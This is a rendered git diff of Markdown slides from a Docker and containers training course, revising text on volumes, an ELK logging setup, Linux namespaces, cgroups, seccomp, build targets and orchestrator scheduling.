* They only support running one Docker VM at a time ...
|
||||||
|
<br/>
|
||||||
... but we can use `docker-machine`, the Docker Toolbox, VirtualBox, etc. to get a cluster.
|
... but we can use `docker-machine`, the Docker Toolbox, VirtualBox, etc. to get a cluster.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: extra-details
|
|
||||||
|
|
||||||
## Docker Desktop internals
|
|
||||||
|
|
||||||
* Leverages the host OS virtualization subsystem
|
|
||||||
|
|
||||||
(e.g. the [Hypervisor API](https://developer.apple.com/documentation/hypervisor) on macOS)
|
|
||||||
|
|
||||||
* Under the hood, runs a tiny VM
|
|
||||||
|
|
||||||
(transparent to our daily use)
|
|
||||||
|
|
||||||
* Accesses network resources like normal applications
|
|
||||||
|
|
||||||
(and therefore, plays better with enterprise VPNs and firewalls)
|
|
||||||
|
|
||||||
* Supports filesystem sharing through volumes
|
|
||||||
|
|
||||||
(we'll talk about this later)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Running Docker on macOS and Windows
|
## Running Docker on macOS and Windows
|
||||||
|
|
||||||
When you execute `docker version` from the terminal:
|
When you execute `docker version` from the terminal:
|
||||||
|
|||||||
@@ -156,7 +156,7 @@ Option 3:
|
|||||||
|
|
||||||
* Use a *volume* to mount local files into the container
|
* Use a *volume* to mount local files into the container
|
||||||
* Make changes locally
|
* Make changes locally
|
||||||
* Changes are reflected in the container
|
* Changes are reflected into the container
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -176,7 +176,7 @@ $ docker run -d -v $(pwd):/src -P namer
|
|||||||
|
|
||||||
* `namer` is the name of the image we will run.
|
* `namer` is the name of the image we will run.
|
||||||
|
|
||||||
* We don't specify a command to run because it is already set in the Dockerfile via `CMD`.
|
* We don't specify a command to run because it is already set in the Dockerfile.
|
||||||
|
|
||||||
Note: on Windows, replace `$(pwd)` with `%cd%` (or `${pwd}` if you use PowerShell).
|
Note: on Windows, replace `$(pwd)` with `%cd%` (or `${pwd}` if you use PowerShell).
|
||||||
|
|
||||||
@@ -192,7 +192,7 @@ The flag structure is:
|
|||||||
[host-path]:[container-path]:[rw|ro]
|
[host-path]:[container-path]:[rw|ro]
|
||||||
```
|
```
|
||||||
|
|
||||||
* `[host-path]` and `[container-path]` are created if they don't exist.
|
* If `[host-path]` or `[container-path]` doesn't exist it is created.
|
||||||
|
|
||||||
* You can control the write status of the volume with the `ro` and
|
* You can control the write status of the volume with the `ro` and
|
||||||
`rw` options.
|
`rw` options.
|
||||||
@@ -255,13 +255,13 @@ color: red;
|
|||||||
|
|
||||||
* Volumes are *not* copying or synchronizing files between the host and the container.
|
* Volumes are *not* copying or synchronizing files between the host and the container.
|
||||||
|
|
||||||
* Volumes are *bind mounts*: a kernel mechanism associating one path with another.
|
* Volumes are *bind mounts*: a kernel mechanism associating a path to another.
|
||||||
|
|
||||||
* Bind mounts are *kind of* similar to symbolic links, but at a very different level.
|
* Bind mounts are *kind of* similar to symbolic links, but at a very different level.
|
||||||
|
|
||||||
* Changes made on the host or on the container will be visible on the other side.
|
* Changes made on the host or on the container will be visible on the other side.
|
||||||
|
|
||||||
(Under the hood, it's the same file anyway.)
|
(Since under the hood, it's the same file on both anyway.)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -273,7 +273,7 @@ by Chad Fowler, where he explains the concept of immutable infrastructure.)*
|
|||||||
|
|
||||||
--
|
--
|
||||||
|
|
||||||
* Let's majorly mess up our container.
|
* Let's mess up majorly with our container.
|
||||||
|
|
||||||
(Remove files or whatever.)
|
(Remove files or whatever.)
|
||||||
|
|
||||||
@@ -319,7 +319,7 @@ and *canary deployments*.
|
|||||||
<br/>
|
<br/>
|
||||||
Use the `-v` flag to mount our source code inside the container.
|
Use the `-v` flag to mount our source code inside the container.
|
||||||
|
|
||||||
3. Edit the source code outside the container, using familiar tools.
|
3. Edit the source code outside the containers, using regular tools.
|
||||||
<br/>
|
<br/>
|
||||||
(vim, emacs, textmate...)
|
(vim, emacs, textmate...)
|
||||||
|
|
||||||
|
|||||||
@@ -194,13 +194,9 @@ will have equal success with Fluent or other logging stacks!*
|
|||||||
|
|
||||||
- We are going to use a Compose file describing the ELK stack.
|
- We are going to use a Compose file describing the ELK stack.
|
||||||
|
|
||||||
- The Compose file is in the container.training repository on GitHub.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ git clone https://github.com/jpetazzo/container.training
|
$ cd ~/container.training/stacks
|
||||||
$ cd container.training
|
$ docker-compose -f elk.yml up -d
|
||||||
$ cd elk
|
|
||||||
$ docker-compose up
|
|
||||||
```
|
```
|
||||||
|
|
||||||
- Let's have a look at the Compose file while it's deploying.
|
- Let's have a look at the Compose file while it's deploying.
|
||||||
@@ -295,4 +291,4 @@ that you don't drop messages on the floor. Good luck.
|
|||||||
|
|
||||||
If you want to learn more about the GELF driver,
|
If you want to learn more about the GELF driver,
|
||||||
have a look at [this blog post](
|
have a look at [this blog post](
|
||||||
https://jpetazzo.github.io/2017/01/20/docker-logging-gelf/).
|
http://jpetazzo.github.io/2017/01/20/docker-logging-gelf/).
|
||||||
|
|||||||
@@ -293,23 +293,3 @@ We can achieve even smaller images if we use smaller base images.
|
|||||||
However, if we use common base images (e.g. if we standardize on `ubuntu`),
|
However, if we use common base images (e.g. if we standardize on `ubuntu`),
|
||||||
these common images will be pulled only once per node, so they are
|
these common images will be pulled only once per node, so they are
|
||||||
virtually "free."
|
virtually "free."
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Build targets
|
|
||||||
|
|
||||||
* We can also tag an intermediary stage with `docker build --target STAGE --tag NAME`
|
|
||||||
|
|
||||||
* This will create an image (named `NAME`) corresponding to stage `STAGE`
|
|
||||||
|
|
||||||
* This can be used to easily access an intermediary stage for inspection
|
|
||||||
|
|
||||||
(Instead of parsing the output of `docker build` to find out the image ID)
|
|
||||||
|
|
||||||
* This can also be used to describe multiple images from a single Dockerfile
|
|
||||||
|
|
||||||
(Instead of using multiple Dockerfiles, which could go out of sync)
|
|
||||||
|
|
||||||
* Sometimes, we want to inspect a specific intermediary build stage.
|
|
||||||
|
|
||||||
* Or, we want to describe multiple images using a single Dockerfile.
|
|
||||||
|
|||||||
@@ -86,13 +86,13 @@ class: extra-details, deep-dive
|
|||||||
|
|
||||||
- the `unshare()` system call.
|
- the `unshare()` system call.
|
||||||
|
|
||||||
- The Linux tool `unshare` allows doing that from a shell.
|
- The Linux tool `unshare` allows to do that from a shell.
|
||||||
|
|
||||||
- A new process can re-use none / all / some of the namespaces of its parent.
|
- A new process can re-use none / all / some of the namespaces of its parent.
|
||||||
|
|
||||||
- It is possible to "enter" a namespace with the `setns()` system call.
|
- It is possible to "enter" a namespace with the `setns()` system call.
|
||||||
|
|
||||||
- The Linux tool `nsenter` allows doing that from a shell.
|
- The Linux tool `nsenter` allows to do that from a shell.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -138,11 +138,11 @@ class: extra-details, deep-dive
|
|||||||
|
|
||||||
- gethostname / sethostname
|
- gethostname / sethostname
|
||||||
|
|
||||||
- Allows setting a custom hostname for a container.
|
- Allows to set a custom hostname for a container.
|
||||||
|
|
||||||
- That's (mostly) it!
|
- That's (mostly) it!
|
||||||
|
|
||||||
- Also allows setting the NIS domain.
|
- Also allows to set the NIS domain.
|
||||||
|
|
||||||
(If you don't know what a NIS domain is, you don't have to worry about it!)
|
(If you don't know what a NIS domain is, you don't have to worry about it!)
|
||||||
|
|
||||||
@@ -392,13 +392,13 @@ class: extra-details
|
|||||||
|
|
||||||
- Processes can have their own root fs (à la chroot).
|
- Processes can have their own root fs (à la chroot).
|
||||||
|
|
||||||
- Processes can also have "private" mounts. This allows:
|
- Processes can also have "private" mounts. This allows to:
|
||||||
|
|
||||||
- isolating `/tmp` (per user, per service...)
|
- isolate `/tmp` (per user, per service...)
|
||||||
|
|
||||||
- masking `/proc`, `/sys` (for processes that don't need them)
|
- mask `/proc`, `/sys` (for processes that don't need them)
|
||||||
|
|
||||||
- mounting remote filesystems or sensitive data,
|
- mount remote filesystems or sensitive data,
|
||||||
<br/>but make it visible only for allowed processes
|
<br/>but make it visible only for allowed processes
|
||||||
|
|
||||||
- Mounts can be totally private, or shared.
|
- Mounts can be totally private, or shared.
|
||||||
@@ -570,7 +570,7 @@ Check `man 2 unshare` and `man pid_namespaces` if you want more details.
|
|||||||
|
|
||||||
## User namespace
|
## User namespace
|
||||||
|
|
||||||
- Allows mapping UID/GID; e.g.:
|
- Allows to map UID/GID; e.g.:
|
||||||
|
|
||||||
- UID 0→1999 in container C1 is mapped to UID 10000→11999 on host
|
- UID 0→1999 in container C1 is mapped to UID 10000→11999 on host
|
||||||
- UID 0→1999 in container C2 is mapped to UID 12000→13999 on host
|
- UID 0→1999 in container C2 is mapped to UID 12000→13999 on host
|
||||||
@@ -947,7 +947,7 @@ Killed
|
|||||||
|
|
||||||
(i.e., "this group of process used X seconds of CPU0 and Y seconds of CPU1".)
|
(i.e., "this group of process used X seconds of CPU0 and Y seconds of CPU1".)
|
||||||
|
|
||||||
- Allows setting relative weights used by the scheduler.
|
- Allows to set relative weights used by the scheduler.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -1101,9 +1101,9 @@ See `man capabilities` for the full list and details.
|
|||||||
|
|
||||||
- Original seccomp only allows `read()`, `write()`, `exit()`, `sigreturn()`.
|
- Original seccomp only allows `read()`, `write()`, `exit()`, `sigreturn()`.
|
||||||
|
|
||||||
- The seccomp-bpf extension allows specifying custom filters with BPF rules.
|
- The seccomp-bpf extension allows to specify custom filters with BPF rules.
|
||||||
|
|
||||||
- This allows filtering by syscall, and by parameter.
|
- This allows to filter by syscall, and by parameter.
|
||||||
|
|
||||||
- BPF code can perform arbitrarily complex checks, quickly, and safely.
|
- BPF code can perform arbitrarily complex checks, quickly, and safely.
|
||||||
|
|
||||||
|
|||||||
@@ -6,6 +6,8 @@ In this chapter, we will:
|
|||||||
|
|
||||||
* Present (from a high-level perspective) some orchestrators.
|
* Present (from a high-level perspective) some orchestrators.
|
||||||
|
|
||||||
|
* Show one orchestrator (Kubernetes) in action.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
class: pic
|
||||||
@@ -119,7 +121,7 @@ Now, how are things for our IAAS provider?
|
|||||||
- Solution: *migrate* VMs and shutdown empty servers
|
- Solution: *migrate* VMs and shutdown empty servers
|
||||||
|
|
||||||
(e.g. combine two hypervisors with 40% load into 80%+0%,
|
(e.g. combine two hypervisors with 40% load into 80%+0%,
|
||||||
<br/>and shut down the one at 0%)
|
<br/>and shutdown the one at 0%)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -127,7 +129,7 @@ Now, how are things for our IAAS provider?
|
|||||||
|
|
||||||
How do we implement this?
|
How do we implement this?
|
||||||
|
|
||||||
- Shut down empty hosts (but keep some spare capacity)
|
- Shutdown empty hosts (but keep some spare capacity)
|
||||||
|
|
||||||
- Start hosts again when capacity gets low
|
- Start hosts again when capacity gets low
|
||||||
|
|
||||||
@@ -153,7 +155,7 @@ processes or data flows are given access to system resources.*
|
|||||||
|
|
||||||
The scheduler is concerned mainly with:
|
The scheduler is concerned mainly with:
|
||||||
|
|
||||||
- throughput (total amount of work done per time unit);
|
- throughput (total amount or work done per time unit);
|
||||||
- turnaround time (between submission and completion);
|
- turnaround time (between submission and completion);
|
||||||
- response time (between submission and start);
|
- response time (between submission and start);
|
||||||
- waiting time (between job readiness and execution);
|
- waiting time (between job readiness and execution);
|
||||||
@@ -175,7 +177,7 @@ In practice, these goals often conflict.
|
|||||||
|
|
||||||
- 16 GB RAM, 8 cores, 1 TB disk
|
- 16 GB RAM, 8 cores, 1 TB disk
|
||||||
|
|
||||||
- Each week, your team requests:
|
- Each week, your team asks:
|
||||||
|
|
||||||
- one VM with X RAM, Y CPU, Z disk
|
- one VM with X RAM, Y CPU, Z disk
|
||||||
|
|
||||||
@@ -241,76 +243,58 @@ Scheduling = deciding which hypervisor to use for each VM.
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
|
||||||
|
|
||||||
## Scheduling with one resource
|
## Scheduling with one resource
|
||||||
|
|
||||||
.center[]
|
.center[]
|
||||||
|
|
||||||
## We can't fit a job of size 6 :(
|
Can we do better?
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
|
||||||
|
|
||||||
## Scheduling with one resource
|
## Scheduling with one resource
|
||||||
|
|
||||||
.center[]
|
.center[]
|
||||||
|
|
||||||
## ... Now we can!
|
Yup!
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
|
||||||
|
|
||||||
## Scheduling with two resources
|
## Scheduling with two resources
|
||||||
|
|
||||||
.center[]
|
.center[]
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
|
||||||
|
|
||||||
## Scheduling with three resources
|
## Scheduling with three resources
|
||||||
|
|
||||||
.center[]
|
.center[]
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
|
||||||
|
|
||||||
## You need to be good at this
|
## You need to be good at this
|
||||||
|
|
||||||
.center[]
|
.center[]
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
|
||||||
|
|
||||||
## But also, you must be quick!
|
## But also, you must be quick!
|
||||||
|
|
||||||
.center[]
|
.center[]
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
|
||||||
|
|
||||||
## And be web scale!
|
## And be web scale!
|
||||||
|
|
||||||
.center[]
|
.center[]
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
|
||||||
|
|
||||||
## And think outside (?) of the box!
|
## And think outside (?) of the box!
|
||||||
|
|
||||||
.center[]
|
.center[]
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: pic
|
|
||||||
|
|
||||||
## Good luck!
|
## Good luck!
|
||||||
|
|
||||||
.center[]
|
.center[]
|
||||||
@@ -388,7 +372,7 @@ It depends on:
|
|||||||
|
|
||||||
(Marathon = long running processes; Chronos = run at intervals; ...)
|
(Marathon = long running processes; Chronos = run at intervals; ...)
|
||||||
|
|
||||||
- Commercial offering through DC/OS by Mesosphere.
|
- Commercial offering through DC/OS my Mesosphere.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user